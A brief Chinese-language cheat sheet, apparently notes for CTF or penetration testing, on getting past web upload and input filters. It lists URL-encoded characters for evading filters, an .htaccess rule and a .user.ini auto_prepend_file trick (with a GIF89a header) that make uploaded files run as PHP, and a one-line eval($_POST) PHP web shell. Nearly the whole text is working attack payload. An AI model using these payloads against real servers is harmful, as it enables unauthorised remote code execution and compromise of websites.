1.%00 url解码为空字符 %0a为换行符(分隔符过滤解决) %09为tab(空格过滤解决)要放在url地址栏中url解码后才能出现效果
2.设置文件解析为php
#创建文件.htaccess
<FilesMatch "SHELL">
SetHandler application/x-httpd-php #设置SHELL文件当作.PHP文件执行
</FilesMatch>
#创建文件.user.ini
#GIF89a 文件头绕过
GIF89a
auto_prepend_file=shell.jpg #执行其他文件前,自动包含的文件
3.短标签替换 <?=eval($_POST['shell'];)?>替换<?php;?> #'='不能掉